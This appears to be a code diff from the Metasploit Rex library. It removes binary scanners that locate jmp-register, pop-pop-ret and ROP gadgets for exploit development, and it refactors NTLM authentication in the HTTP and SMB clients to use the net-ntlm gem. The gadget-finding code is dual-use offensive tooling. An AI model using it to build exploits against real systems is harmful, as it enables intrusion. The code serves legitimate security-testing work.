||||
end
|
||||
end
|
||||
|
||||
class JmpRegScanner < Generic
|
||||
|
||||
def config(param)
|
||||
regnums = param['args']
|
||||
|
||||
# build a list of the call bytes
|
||||
calls = _build_byte_list(0xd0, regnums - [4]) # note call esp's don't work..
|
||||
jmps = _build_byte_list(0xe0, regnums)
|
||||
pushs1 = _build_byte_list(0x50, regnums)
|
||||
pushs2 = _build_byte_list(0xf0, regnums)
|
||||
|
||||
regexstr = '('
|
||||
if !calls.empty?
|
||||
regexstr += "\xff[#{calls}]|"
|
||||
end
|
||||
|
||||
regexstr += "\xff[#{jmps}]|([#{pushs1}]|\xff[#{pushs2}])(\xc3|\xc2..))"
|
||||
|
||||
self.regex = Regexp.new(regexstr, nil, 'n')
|
||||
end
|
||||
|
||||
# build a list for regex of the possible bytes, based on a base
|
||||
# byte and a list of register numbers..
|
||||
def _build_byte_list(base, regnums)
|
||||
regnums.collect { |regnum| Regexp.escape((base | regnum).chr) }.join('')
|
||||
end
|
||||
|
||||
def _ret_size(section, index)
|
||||
d = section.read(index, 1)
|
||||
case d
|
||||
when "\xc3"
|
||||
return 1
|
||||
when "\xc2"
|
||||
return 3
|
||||
end
|
||||
|
||||
raise RuntimeError, "invalid return opcode"
|
||||
end
|
||||
|
||||
def _parse_ret(data)
|
||||
if data.length == 1
|
||||
return "ret"
|
||||
else
|
||||
return "retn 0x%04x" % data[1, 2].unpack('v')[0]
|
||||
end
|
||||
end
|
||||
|
||||
|
||||
def scan_section(section, param={})
|
||||
index = 0
|
||||
|
||||
hits = [ ]
|
||||
|
||||
while (index = section.index(regex, index)) != nil
|
||||
rva = section.offset_to_rva(index)
|
||||
message = ''
|
||||
|
||||
parse_ret = false
|
||||
|
||||
byte1 = section.read(index, 1).unpack("C*")[0]
|
||||
|
||||
if byte1 == 0xff
|
||||
byte2 = section.read(index+1, 1).unpack("C*")[0]
|
||||
regname = Rex::Arch::X86.reg_name32(byte2 & 0x7)
|
||||
|
||||
case byte2 & 0xf8
|
||||
when 0xd0
|
||||
message = "call #{regname}"
|
||||
index += 2
|
||||
when 0xe0
|
||||
message = "jmp #{regname}"
|
||||
index += 2
|
||||
when 0xf0
|
||||
retsize = _ret_size(section, index+2)
|
||||
message = "push #{regname}; " + _parse_ret(section.read(index+2, retsize))
|
||||
index += 2 + retsize
|
||||
else
|
||||
raise "wtf"
|
||||
end
|
||||
else
|
||||
regname = Rex::Arch::X86.reg_name32(byte1 & 0x7)
|
||||
retsize = _ret_size(section, index+1)
|
||||
message = "push #{regname}; " + _parse_ret(section.read(index+1, retsize))
|
||||
index += 1 + retsize
|
||||
end
|
||||
|
||||
hits << [ rva, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class PopPopRetScanner < JmpRegScanner
|
||||
|
||||
def config(param)
|
||||
pops = _build_byte_list(0x58, (0 .. 7).to_a - [4]) # we don't want pop esp's...
|
||||
self.regex = Regexp.new("[#{pops}][#{pops}](\xc3|\xc2..)", nil, 'n')
|
||||
end
|
||||
|
||||
def scan_section(section, param={})
|
||||
|
||||
index = 0
|
||||
|
||||
hits = [ ]
|
||||
|
||||
while index < section.size && (index = section.index(regex, index)) != nil
|
||||
rva = section.offset_to_rva(index)
|
||||
message = ''
|
||||
|
||||
pops = section.read(index, 2)
|
||||
reg1 = Rex::Arch::X86.reg_name32(pops[0,1].unpack("C*")[0] & 0x7)
|
||||
reg2 = Rex::Arch::X86.reg_name32(pops[1,1].unpack("C*")[0] & 0x7)
|
||||
|
||||
message = "pop #{reg1}; pop #{reg2}; "
|
||||
|
||||
retsize = _ret_size(section, index+2)
|
||||
message += _parse_ret(section.read(index+2, retsize))
|
||||
|
||||
index += 2 + retsize
|
||||
|
||||
hits << [ rva, message ]
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
class RegexScanner < Generic
|
||||
|
||||
def config(param)
|
||||
self.regex = Regexp.new(param['args'], nil, 'n')
|
||||
end
|
||||
|
||||
def scan_section(section, param={})
|
||||
index = 0
|
||||
|
||||
hits = [ ]
|
||||
|
||||
while index < section.size && (index = section.index(regex, index)) != nil
|
||||
|
||||
idx = index
|
||||
buf = ''
|
||||
mat = nil
|
||||
|
||||
while (! (mat = buf.match(regex)))
|
||||
buf << section.read(idx, 1)
|
||||
idx += 1
|
||||
end
|
||||
|
||||
rva = section.offset_to_rva(index)
|
||||
|
||||
hits << [ rva, buf.unpack("H*") ]
|
||||
index += buf.length
|
||||
end
|
||||
|
||||
return hits
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -1,68 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module PeScan
|
||||
module Search
|
||||
|
||||
require "rex/assembly/nasm"
|
||||
|
||||
class DumpRVA
|
||||
attr_accessor :pe
|
||||
|
||||
def initialize(pe)
|
||||
self.pe = pe
|
||||
end
|
||||
|
||||
def config(param)
|
||||
@address = pe.vma_to_rva(param['args'])
|
||||
end
|
||||
|
||||
def scan(param)
|
||||
config(param)
|
||||
|
||||
$stdout.puts "[#{param['file']}]"
|
||||
|
||||
# Adjust based on -A and -B flags
|
||||
pre = param['before'] || 0
|
||||
suf = param['after'] || 16
|
||||
|
||||
@address -= pre
|
||||
@address = 0 if (@address < 0 || ! @address)
|
||||
|
||||
begin
|
||||
buf = pe.read_rva(@address, suf)
|
||||
rescue ::Rex::PeParsey::PeParseyError
|
||||
return
|
||||
end
|
||||
|
||||
$stdout.puts pe.ptr_s(pe.rva_to_vma(@address)) + " " + buf.unpack("H*")[0]
|
||||
if(param['disasm'])
|
||||
insns = []
|
||||
buf.gsub!("; ", "\n")
|
||||
if buf.include?("retn")
|
||||
buf.gsub!("retn", "ret")
|
||||
end
|
||||
d2 = Metasm::Shellcode.disassemble(Metasm::Ia32.new, buf)
|
||||
addr = 0
|
||||
while ((di = d2.disassemble_instruction(addr)))
|
||||
insns << di.instruction
|
||||
disasm = "0x%08x\t" % (pe.rva_to_vma(@address) + addr)
|
||||
disasm << di.instruction.to_s
|
||||
$stdout.puts disasm
|
||||
addr = di.next_addr
|
||||
end
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
|
||||
class DumpOffset < DumpRVA
|
||||
def config(param)
|
||||
begin
|
||||
@address = pe.file_offset_to_rva(param['args'])
|
||||
rescue Rex::PeParsey::BoundsError
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
|
@ -13,7 +13,7 @@ require 'msf/core/payload/uuid'
|
|||
require 'rex/payloads/meterpreter/uri_checksum'
|
||||
|
||||
# certificate hash checking
|
||||
require 'rex/parser/x509_certificate'
|
||||
require 'rex/socket/x509_certificate'
|
||||
|
||||
module Rex
|
||||
module Post
|
||||
|
@ -686,7 +686,7 @@ class ClientCore < Extension
|
|||
request.add_tlv(TLV_TYPE_TRANS_UA, opts[:ua])
|
||||
|
||||
if transport == METERPRETER_TRANSPORT_HTTPS && opts[:cert]
|
||||
hash = Rex::Parser::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
hash = Rex::Socket::X509Certificate.get_cert_file_hash(opts[:cert])
|
||||
request.add_tlv(TLV_TYPE_TRANS_CERT_HASH, hash)
|
||||
end
|
||||
|
||||
|
|
|
@ -3,10 +3,6 @@ require 'rex/socket'
|
|||
require 'rex/proto/http'
|
||||
require 'rex/text'
|
||||
require 'digest'
|
||||
require 'rex/proto/ntlm/crypt'
|
||||
require 'rex/proto/ntlm/constants'
|
||||
require 'rex/proto/ntlm/utils'
|
||||
require 'rex/proto/ntlm/exceptions'
|
||||
|
||||
require 'rex/proto/http/client_request'
|
||||
|
||||
|
@ -271,26 +267,30 @@ class Client
|
|||
|
||||
return res if opts['username'].nil? or opts['username'] == ''
|
||||
supported_auths = res.headers['WWW-Authenticate']
|
||||
if supported_auths.include? 'Basic'
|
||||
|
||||
# if several providers are available, the client may want one in particular
|
||||
preferred_auth = opts['preferred_auth']
|
||||
|
||||
if supported_auths.include?('Basic') && (preferred_auth.nil? || preferred_auth == 'Basic')
|
||||
opts['headers'] ||= {}
|
||||
opts['headers']['Authorization'] = basic_auth_header(opts['username'],opts['password'] )
|
||||
req = request_cgi(opts)
|
||||
res = _send_recv(req,t,persist)
|
||||
return res
|
||||
elsif supported_auths.include? "Digest"
|
||||
elsif supported_auths.include?('Digest') && (preferred_auth.nil? || preferred_auth == 'Digest')
|
||||
temp_response = digest_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include? "NTLM"
|
||||
elsif supported_auths.include?('NTLM') && (preferred_auth.nil? || preferred_auth == 'NTLM')
|
||||
opts['provider'] = 'NTLM'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
res = temp_response
|
||||
end
|
||||
return res
|
||||
elsif supported_auths.include? "Negotiate"
|
||||
elsif supported_auths.include?('Negotiate') && (preferred_auth.nil? || preferred_auth == 'Negotiate')
|
||||
opts['provider'] = 'Negotiate'
|
||||
temp_response = negotiate_auth(opts)
|
||||
if temp_response.kind_of? Rex::Proto::Http::Response
|
||||
|
@ -313,7 +313,6 @@ class Client
|
|||
# Send a series of requests to complete Digest Authentication
|
||||
#
|
||||
# @param opts [Hash] the options used to build an HTTP request
|
||||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def digest_auth(opts={})
|
||||
@nonce_count = 0
|
||||
|
@ -457,13 +456,6 @@ class Client
|
|||
#
|
||||
# @return [Response] the last valid HTTP response we received
|
||||
def negotiate_auth(opts={})
|
||||
ntlm_options = {
|
||||
:signing => false,
|
||||
:usentlm2_session => self.config['usentlm2_session'],
|
||||
:use_ntlmv2 => self.config['use_ntlmv2'],
|
||||
:send_lm => self.config['send_lm'],
|
||||
:send_ntlm => self.config['send_ntlm']
|
||||
}
|
||||
|
||||
to = opts['timeout'] || 20
|
||||
opts['username'] ||= ''
|
||||
|
@ -472,28 +464,27 @@ class Client
|
|||
if opts['provider'] and opts['provider'].include? 'Negotiate'
|
||||
provider = "Negotiate "
|
||||
else
|
||||
provider = 'NTLM '
|
||||
provider = "NTLM "
|
||||
end
|
||||
|
||||
opts['method']||= 'GET'
|
||||
opts['headers']||= {}
|
||||
|
||||
ntlmssp_flags = ::Rex::Proto::NTLM::Utils.make_ntlm_flags(ntlm_options)
|
||||
workstation_name = Rex::Text.rand_text_alpha(rand(8)+6)
|
||||
domain_name = self.config['domain']
|
||||
|
||||
b64_blob = Rex::Text::encode_base64(
|
||||
::Rex::Proto::NTLM::Utils::make_ntlmssp_blob_init(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
ntlmssp_flags
|
||||
))
|
||||
|
||||
ntlm_message_1 = provider + b64_blob
|
||||
ntlm_client = ::Net::NTLM::Client.new(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
workstation: workstation_name,
|
||||
domain: domain_name,
|
||||
)
|
||||
type1 = ntlm_client.init_context
|
||||
|
||||
begin
|
||||
# First request to get the challenge
|
||||
opts['headers']['Authorization'] = ntlm_message_1
|
||||
opts['headers']['Authorization'] = provider + type1.encode64
|
||||
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
|
@ -506,47 +497,10 @@ class Client
|
|||
ntlm_challenge = resp.headers['WWW-Authenticate'].scan(/#{provider}([A-Z0-9\x2b\x2f=]+)/ni).flatten[0]
|
||||
return resp unless ntlm_challenge
|
||||
|
||||
ntlm_message_2 = Rex::Text::decode_base64(ntlm_challenge)
|
||||
blob_data = ::Rex::Proto::NTLM::Utils.parse_ntlm_type_2_blob(ntlm_message_2)
|
||||
|
||||
challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
default_name = blob_data[:default_name] || '' #netbios name
|
||||
default_domain = blob_data[:default_domain] || '' #netbios domain
|
||||
dns_host_name = blob_data[:dns_host_name] || '' #dns name
|
||||
dns_domain_name = blob_data[:dns_domain_name] || '' #dns domain
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || '' #Client time
|
||||
|
||||
spnopt = {:use_spn => self.config['SendSPN'], :name => self.hostname}
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = ::Rex::Proto::NTLM::Utils.create_lm_ntlm_responses(
|
||||
opts['username'],
|
||||
opts['password'],
|
||||
challenge_key,
|
||||
domain_name,
|
||||
default_name,
|
||||
default_domain,
|
||||
dns_host_name,
|
||||
dns_domain_name,
|
||||
chall_MsvAvTimestamp,
|
||||
spnopt,
|
||||
ntlm_options
|
||||
)
|
||||
|
||||
ntlm_message_3 = ::Rex::Proto::NTLM::Utils.make_ntlmssp_blob_auth(
|
||||
domain_name,
|
||||
workstation_name,
|
||||
opts['username'],
|
||||
resp_lm,
|
||||
resp_ntlm,
|
||||
'',
|
||||
ntlmssp_flags
|
||||
)
|
||||
|
||||
ntlm_message_3 = Rex::Text::encode_base64(ntlm_message_3)
|
||||
ntlm_message_3 = ntlm_client.init_context(ntlm_challenge)
|
||||
|
||||
# Send the response
|
||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3}"
|
||||
opts['headers']['Authorization'] = "#{provider}#{ntlm_message_3.encode64}"
|
||||
r = request_cgi(opts)
|
||||
resp = _send_recv(r, to, true)
|
||||
unless resp.kind_of? Rex::Proto::Http::Response
|
||||
|
@ -558,6 +512,7 @@ class Client
|
|||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Read a response from the server
|
||||
#
|
||||
|
@ -713,7 +668,6 @@ protected
|
|||
|
||||
attr_accessor :hostname, :port # :nodoc:
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,6 +4,8 @@ module Proto
|
|||
module SMB
|
||||
class Client
|
||||
|
||||
require 'net/ntlm'
|
||||
|
||||
require 'rex/text'
|
||||
require 'rex/struct2'
|
||||
require 'rex/proto/smb/constants'
|
||||
|
@ -166,14 +168,14 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
# Scan the packet receive cache for a matching response
|
||||
def smb_recv_cache_find_match(expected_type)
|
||||
|
||||
|
||||
clean = []
|
||||
found = nil
|
||||
|
||||
@smb_recv_cache.each do |cent|
|
||||
pkt, data, tstamp = cent
|
||||
|
||||
# Return matching packets and mark for removal
|
||||
# Return matching packets and mark for removal
|
||||
if pkt['Payload']['SMB'].v['Command'] == expected_type
|
||||
found = [pkt,data]
|
||||
clean << cent
|
||||
|
@ -623,16 +625,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
|
||||
# Authenticate and establish a session
|
||||
def session_setup(*args)
|
||||
|
||||
def session_setup(user='', pass='', domain='', do_recv=true)
|
||||
if (self.dialect =~ /^(NT LANMAN 1.0|NT LM 0.12)$/)
|
||||
|
||||
if (self.challenge_key)
|
||||
return self.session_setup_no_ntlmssp(*args)
|
||||
return self.session_setup_no_ntlmssp(user, pass, domain, do_recv)
|
||||
end
|
||||
|
||||
if ( self.extended_security )
|
||||
return self.session_setup_with_ntlmssp(*args)
|
||||
return self.session_setup_with_ntlmssp(user, pass, domain, nil, do_recv)
|
||||
end
|
||||
|
||||
end
|
||||
|
@ -831,7 +832,15 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
name = Rex::Text.rand_text_alphanumeric(16)
|
||||
end
|
||||
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_init(domain, name, ntlmssp_flags)
|
||||
@ntlm_client = Net::NTLM::Client.new(
|
||||
user,
|
||||
pass,
|
||||
workstation: name,
|
||||
domain: domain,
|
||||
flags: ntlmssp_flags
|
||||
)
|
||||
|
||||
blob = @ntlm_client.init_context.serialize
|
||||
|
||||
native_data = ''
|
||||
native_data << self.native_os + "\x00"
|
||||
|
@ -865,7 +874,6 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
ack = self.smb_recv_parse(CONST::SMB_COM_SESSION_SETUP_ANDX, true)
|
||||
|
||||
|
||||
# The server doesn't know about NTLM_NEGOTIATE
|
||||
if (ack['Payload']['SMB'].v['ErrorClass'] == 0x00020002)
|
||||
return session_setup_no_ntlmssp(user, pass, domain)
|
||||
|
@ -892,37 +900,20 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Save the temporary UserID for use in the next request
|
||||
temp_user_id = ack['Payload']['SMB'].v['UserID']
|
||||
|
||||
# Get default data
|
||||
blob_data = NTLM_UTILS.parse_ntlm_type_2_blob(blob)
|
||||
self.challenge_key = blob_data[:challenge_key]
|
||||
server_ntlmssp_flags = blob_data[:server_ntlmssp_flags] #else should raise an error
|
||||
#netbios name
|
||||
self.default_name = blob_data[:default_name] || ''
|
||||
#netbios domain
|
||||
self.default_domain = blob_data[:default_domain] || ''
|
||||
#dns name
|
||||
self.dns_host_name = blob_data[:dns_host_name] || ''
|
||||
#dns domain
|
||||
self.dns_domain_name = blob_data[:dns_domain_name] || ''
|
||||
#Client time
|
||||
chall_MsvAvTimestamp = blob_data[:chall_MsvAvTimestamp] || ''
|
||||
|
||||
type3 = @ntlm_client.init_context([blob].pack('m'))
|
||||
type3_blob = type3.serialize
|
||||
self.signing_key = @ntlm_client.session_key
|
||||
|
||||
resp_lm, resp_ntlm, client_challenge, ntlm_cli_challenge = NTLM_UTILS.create_lm_ntlm_responses(user, pass, self.challenge_key, domain,
|
||||
default_name, default_domain, dns_host_name,
|
||||
dns_domain_name, chall_MsvAvTimestamp ,
|
||||
self.spnopt, ntlm_options)
|
||||
enc_session_key = ''
|
||||
self.sequence_counter = 0
|
||||
|
||||
if self.require_signing
|
||||
self.signing_key, enc_session_key, ntlmssp_flags = NTLM_UTILS.create_session_key(ntlmssp_flags, server_ntlmssp_flags, user, pass, domain,
|
||||
self.challenge_key, client_challenge, ntlm_cli_challenge,
|
||||
ntlm_options)
|
||||
end
|
||||
|
||||
# Create the security blob data
|
||||
blob = NTLM_UTILS.make_ntlmssp_secblob_auth(domain, name, user, resp_lm, resp_ntlm, enc_session_key, ntlmssp_flags)
|
||||
# Ugh, it's private
|
||||
self.challenge_key = @ntlm_client.session.send(:server_challenge)
|
||||
|
||||
pkt = CONST::SMB_SETUP_NTLMV2_PKT.make_struct
|
||||
self.smb_defaults(pkt['Payload']['SMB'])
|
||||
|
@ -944,8 +935,8 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
pkt['Payload'].v['VCNum'] = 1
|
||||
pkt['Payload'].v['Capabilities'] = 0x8000d05c
|
||||
pkt['Payload'].v['SessionKey'] = self.session_id
|
||||
pkt['Payload'].v['SecurityBlobLen'] = blob.length
|
||||
pkt['Payload'].v['Payload'] = blob + native_data
|
||||
pkt['Payload'].v['SecurityBlobLen'] = type3_blob.length
|
||||
pkt['Payload'].v['Payload'] = type3_blob + native_data
|
||||
|
||||
# NOTE: if do_recv is set to false, we cant reach here...
|
||||
self.smb_send(pkt.to_s)
|
||||
|
@ -1771,7 +1762,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
_resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
return resp_data
|
||||
|
||||
|
@ -1797,7 +1788,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
# Remove the NetBIOS header
|
||||
resp_rpkt.slice!(0, 4)
|
||||
|
||||
resp_parm = resp_rpkt[poff, pcnt]
|
||||
_resp_parm = resp_rpkt[poff, pcnt]
|
||||
resp_data = resp_rpkt[doff, dcnt]
|
||||
return resp_data
|
||||
|
||||
|
@ -1958,7 +1949,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
resp = find_next(last_search_id, last_offset, last_filename)
|
||||
|
||||
# Flip bit so response params will parse correctly
|
||||
search_next = 1
|
||||
search_next = 1
|
||||
end
|
||||
|
||||
files
|
||||
|
@ -1973,7 +1964,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
260, # Level of interest
|
||||
resume_key, # Resume key from previous (Last name offset)
|
||||
6, # Close search if end of search
|
||||
].pack('vvvVv') +
|
||||
].pack('vvvVv') +
|
||||
last_filename.to_s + # Last filename returned from find_first or find_next
|
||||
"\x00" # Terminate the file name
|
||||
|
||||
|
@ -2006,7 +1997,7 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
search_path = "#{current_path}#{fname}\\"
|
||||
file_search(search_path, regex, depth).each {|fn| files << fn }
|
||||
rescue Rex::Proto::SMB::Exceptions::ErrorCode => e
|
||||
|
||||
|
||||
# Ignore common errors related to permissions and non-files
|
||||
if %W{
|
||||
STATUS_ACCESS_DENIED
|
||||
|
@ -2030,9 +2021,9 @@ NTLM_UTILS = Rex::Proto::NTLM::Utils
|
|||
|
||||
# Creates a new directory on the mounted tree
|
||||
def create_directory(name)
|
||||
files = { }
|
||||
parm = [0].pack('V') + name + "\x00"
|
||||
resp = trans2(CONST::TRANS2_CREATE_DIRECTORY, parm, '')
|
||||
resp
|
||||
end
|
||||
|
||||
# public read/write methods
|
||||
|
|
|
@ -1,8 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
module Rex
|
||||
module RopBuilder
|
||||
|
||||
require 'rex/ropbuilder/rop'
|
||||
require 'metasm'
|
||||
end
|
||||
end
|
|
@ -1,271 +0,0 @@
|
|||
# -*- coding: binary -*-
|
||||
require 'metasm'
|
||||
require 'rex/compat'
|
||||
require 'rex/text/table'
|
||||
require 'rex/ui/text/output/stdio'
|
||||
require 'rex/text/color'
|
||||
|
||||
module Rex
|
||||
module RopBuilder
|
||||
|
||||
class RopBase
|
||||
def initialize()
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
@gadgets = []
|
||||
end
|
||||
|
||||
def to_csv(gadgets = [])
|
||||
if gadgets.empty? and @gadgets.nil? or @gadgets.empty?
|
||||
@stdio.print_error("No gadgets collected to convert to CSV format.")
|
||||
return
|
||||
end
|
||||
|
||||
# allow the users to import gadget collections from multiple files
|
||||
if @gadgets.empty? or @gadgets.nil?
|
||||
@gadgets = gadgets
|
||||
end
|
||||
|
||||
table = Rex::Text::Table.new(
|
||||
'Header' => "#{@file} ROP Gadgets",
|
||||
'Indent' => 1,
|
||||
'Columns' =>
|
||||
[
|
||||
"Address",
|
||||
"Raw",
|
||||
"Disassembly",
|
||||
])
|
||||
|
||||
@gadgets.each do |gadget|
|
||||
table << [gadget[:address], gadget[:raw].unpack('H*')[0], gadget[:disasm].gsub(/\n/, ' | ')]
|
||||
end
|
||||
|
||||
return table.to_csv
|
||||
end
|
||||
|
||||
def import(file)
|
||||
begin
|
||||
data = File.new(file, 'r').read
|
||||
rescue
|
||||
@stdio.print_error("Error reading #{file}")
|
||||
return []
|
||||
end
|
||||
|
||||
if data.empty? or data.nil?
|
||||
return []
|
||||
end
|
||||
|
||||
data.gsub!(/\"/, '')
|
||||
data.gsub!("Address,Raw,Disassembly\n", '')
|
||||
|
||||
@gadgets = []
|
||||
|
||||
data.each_line do |line|
|
||||
addr, raw, disasm = line.split(',', 3)
|
||||
if addr.nil? or raw.nil? or disasm.nil?
|
||||
@stdio.print_error("Import file format corrupted")
|
||||
return []
|
||||
end
|
||||
disasm.gsub!(/: /, ":\t")
|
||||
disasm.gsub!(' | ', "\n")
|
||||
raw = [raw].pack('H*')
|
||||
@gadgets << {:file => file, :address => addr, :raw => raw, :disasm => disasm.chomp!}
|
||||
end
|
||||
@gadgets
|
||||
end
|
||||
|
||||
def print_msg(msg, color=true)
|
||||
if not @stdio
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
end
|
||||
|
||||
if color == true
|
||||
@stdio.auto_color
|
||||
else
|
||||
@stdio.disable_color
|
||||
end
|
||||
@stdio.print_raw(@stdio.substitute_colors(msg))
|
||||
end
|
||||
end
|
||||
|
||||
class RopCollect < RopBase
|
||||
def initialize(file="")
|
||||
@stdio = Rex::Ui::Text::Output::Stdio.new
|
||||
@file = file if not file.empty?
|
||||
@bin = Metasm::AutoExe.decode_file(file) if not file.empty?
|
||||
@disassembler = @bin.disassembler if not @bin.nil?
|
||||
if @disassembler
|
||||
@disassembler.cpu = Metasm::Ia32.new('386_common')
|
||||
end
|
||||
super()
|
||||
end
|
||||
|
||||
def collect(depth, pattern)
|
||||
matches = []
|
||||
gadgets = []
|
||||
|
||||
# find matches by scanning for the pattern
|
||||
matches = @disassembler.pattern_scan(pattern)
|
||||
if @bin.kind_of?(Metasm::PE)
|
||||
@bin.sections.each do |section|
|
||||
next if section.characteristics.include? 'MEM_EXECUTE'
|
||||
# delete matches if the address is outside the virtual address space
|
||||
matches.delete_if do |ea|
|
||||
va = section.virtaddr + @bin.optheader.image_base
|
||||
ea >= va and ea < va + section.virtsize
|
||||
end
|
||||
end
|
||||
elsif @bin.kind_of?(Metasm::ELF)
|
||||
@bin.segments.each do |seg|
|
||||
next if seg.flags.include? 'X'
|
||||
matches.delete_if do |ea|
|
||||
ea >= seg.vaddr and ea < seg.vaddr + seg.memsz
|
||||
end
|
||||
end
|
||||
elsif @bin.kind_of?(Metasm::MachO)
|
||||
@bin.segments.each do |seg|
|
||||
next if seg.initprot.include? 'EXECUTE'
|
||||
matches.delete_if do |ea|
|
||||
ea >= seg.virtaddr and ea < seg.virtaddr + seg.filesize
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
gadgets = process_gadgets(matches, depth)
|
||||
gadgets.each do |gadget|
|
||||
@gadgets << gadget
|
||||
end
|
||||
gadgets
|
||||
end
|
||||
|
||||
def pattern_search(pattern)
|
||||
p = Regexp.new("(" + pattern + ")")
|
||||
matches = []
|
||||
|
||||
@gadgets.each do |gadget|
|
||||
disasm = ""
|
||||
addrs = []
|
||||
|
||||
gadget[:disasm].each_line do |line|
|
||||
addr, asm = line.split("\t", 2)
|
||||
addrs << addr
|
||||
disasm << asm
|
||||
end
|
||||
|
||||
if gadget[:raw] =~ p or gadget[:disasm] =~ p or disasm =~ p
|
||||
matches << {:gadget => gadget, :disasm => disasm, :addrs => addrs}
|
||||
end
|
||||
end
|
||||
matches.each do |match|
|
||||
@stdio.print_status("gadget with address: %bld%cya#{match[:gadget][:address]}%clr matched")
|
||||
color_pattern(match[:gadget], match[:disasm], match[:addrs], p)
|
||||
end
|
||||
matches
|
||||
end
|
||||
|
||||
def color_pattern(gadget, disasm, addrs, p)
|
||||
idx = disasm.index(p)
|
||||
if idx.nil?
|
||||
print_msg(gadget[:disasm])
|
||||
return
|
||||
end
|
||||
|
||||
disasm = disasm.insert(idx, "%bld%grn")
|
||||
|
||||
asm = ""
|
||||
cnt = 0
|
||||
colors = false
|
||||
disasm.each_line do |line|
|
||||
# if we find this then we are in the matching area
|
||||
if line.index(/\%bld\%grn/)
|
||||
colors = true
|
||||
end
|
||||
asm << "%clr" + addrs[cnt] + "\t"
|
||||
|
||||
# color the remaining parts of the gadget
|
||||
if colors and line.index("%bld%grn").nil?
|
||||
asm << "%bld%grn" + line
|
||||
else
|
||||
asm << line
|
||||
end
|
||||
|
||||
cnt += 1
|
||||
end
|
||||
asm << "%clr\n"
|
||||
print_msg(asm)
|
||||
end
|
||||
|
||||
def process_gadgets(rets, num)
|
||||
ret = {}
|
||||
gadgets = []
|
||||
tmp = []
|
||||
rets.each do |ea|
|
||||
insn = @disassembler.disassemble_instruction(ea)
|
||||
next if not insn
|
||||
|
||||
xtra = insn.bin_length
|
||||
|
||||
num.downto(0) do |x|
|
||||
addr = ea - x
|
||||
|
||||
# get the disassembled instruction at this address
|
||||
di = @disassembler.disassemble_instruction(addr)
|
||||
|
||||
# skip invalid instructions
|
||||
next if not di
|
||||
next if di.opcode.props[:setip]
|
||||
next if di.opcode.props[:stopexec]
|
||||
|
||||
# get raw bytes
|
||||
buf = @disassembler.read_raw_data(addr, x + xtra)
|
||||
|
||||
|
||||
# make sure disassembling forward leads to our instruction
|
||||
next if not ends_with_addr(buf, addr, ea)
|
||||
|
||||
dasm = ""
|
||||
while addr <= ea
|
||||
di = @disassembler.disassemble_instruction(addr)
|
||||
dasm << ("0x%08x:\t" % addr) + di.instruction.to_s + "\n"
|
||||
addr = addr + di.bin_length
|
||||
end
|
||||
|
||||
if not tmp.include?(ea)
|
||||
tmp << ea
|
||||
else
|
||||
next
|
||||
end
|
||||
|
||||
# otherwise, we create a new tailchunk and add it to the list
|
||||
ret = {:file => @file, :address => ("0x%08x" % (ea - x)), :raw => buf, :disasm => dasm}
|
||||
gadgets << ret
|
||||
end
|
||||
end
|
||||
gadgets
|
||||
end
|
||||
|
||||
private
|
||||
def ends_with_addr(raw, base, addr)
|
||||
dasm2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
|
||||
offset = 0
|
||||
while ((di = dasm2.disassemble_instruction(offset)))
|
||||
return true if (base + offset) == addr
|
||||
return false if di.opcode.props[:setip]
|
||||
return false if di.opcode.props[:stopexec]
|
||||
offset = di.next_addr
|
||||
end
|
||||
false
|
||||
end
|
||||
|
||||
def raw_instructions(raw)
|
||||
insns = []
|
||||
d2 = Metasm::Shellcode.decode(raw, @disassembler.cpu).disassembler
|
||||
addr = 0
|
||||
while ((di = d2.disassemble_instruction(addr)))
|
||||
insns << di.instruction
|
||||
addr = di.next_addr
|
||||
end
|
||||
insns
|
||||
end
|
||||
end
|
||||
end
|
||||
